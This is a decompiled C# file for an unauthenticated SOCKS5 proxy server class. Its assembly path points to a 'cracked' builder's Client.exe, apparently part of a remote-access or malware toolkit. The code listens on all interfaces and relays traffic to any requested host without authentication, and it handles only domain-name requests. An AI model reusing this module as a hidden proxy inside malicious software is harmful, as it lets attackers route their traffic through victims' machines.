82 lines
2.6 KiB
C#
82 lines
2.6 KiB
C#
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// Decompiled with JetBrains decompiler
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// Type: Socks5Server
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// Assembly: Client, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
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// MVID: 92DF2D60-35B0-4A06-AFD8-50A246F39510
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// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Builder\Client.exe
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using System.IO;
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using System.Net;
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using System.Net.Sockets;
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using System.Text;
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using System.Threading.Tasks;
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#nullable disable
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public class Socks5Server
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{
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private TcpListener listener;
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private bool running;
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public async Task Start(int port)
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{
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this.listener = new TcpListener(IPAddress.Any, port);
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this.listener.Start();
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this.running = true;
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while (this.running)
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this.HandleClient(await this.listener.AcceptTcpClientAsync());
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}
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public void Stop()
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{
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this.running = false;
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this.listener?.Stop();
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}
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private async Task HandleClient(TcpClient client)
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{
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NetworkStream stream = client.GetStream();
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try
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{
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byte[] hello = new byte[2];
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int num1 = await stream.ReadAsync(hello, 0, hello.Length);
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byte[] buffer1 = new byte[(int) hello[1]];
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int num2 = await stream.ReadAsync(buffer1, 0, buffer1.Length);
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byte[] buffer2 = new byte[2]{ (byte) 5, (byte) 0 };
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await stream.WriteAsync(buffer2, 0, buffer2.Length);
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byte[] header = new byte[4];
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int num3 = await stream.ReadAsync(header, 0, header.Length);
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string host = "";
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if (header[3] == (byte) 3)
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{
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byte[] hostBytes = new byte[stream.ReadByte()];
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int num4 = await stream.ReadAsync(hostBytes, 0, hostBytes.Length);
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host = Encoding.ASCII.GetString(hostBytes);
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hostBytes = (byte[]) null;
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}
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byte[] portBytes = new byte[2];
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int num5 = await stream.ReadAsync(portBytes, 0, portBytes.Length);
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int port = (int) portBytes[0] << 8 | (int) portBytes[1];
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TcpClient remote = new TcpClient();
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await remote.ConnectAsync(host, port);
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byte[] numArray = new byte[10];
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numArray[0] = (byte) 5;
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numArray[3] = (byte) 1;
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byte[] buffer3 = numArray;
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await stream.WriteAsync(buffer3, 0, buffer3.Length);
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NetworkStream stream1 = remote.GetStream();
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stream1.CopyToAsync((Stream) stream);
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stream.CopyToAsync((Stream) stream1);
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hello = (byte[]) null;
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header = (byte[]) null;
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host = (string) null;
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portBytes = (byte[]) null;
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remote = (TcpClient) null;
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stream = (NetworkStream) null;
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}
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catch
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{
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client.Close();
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stream = (NetworkStream) null;
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}
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}
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}
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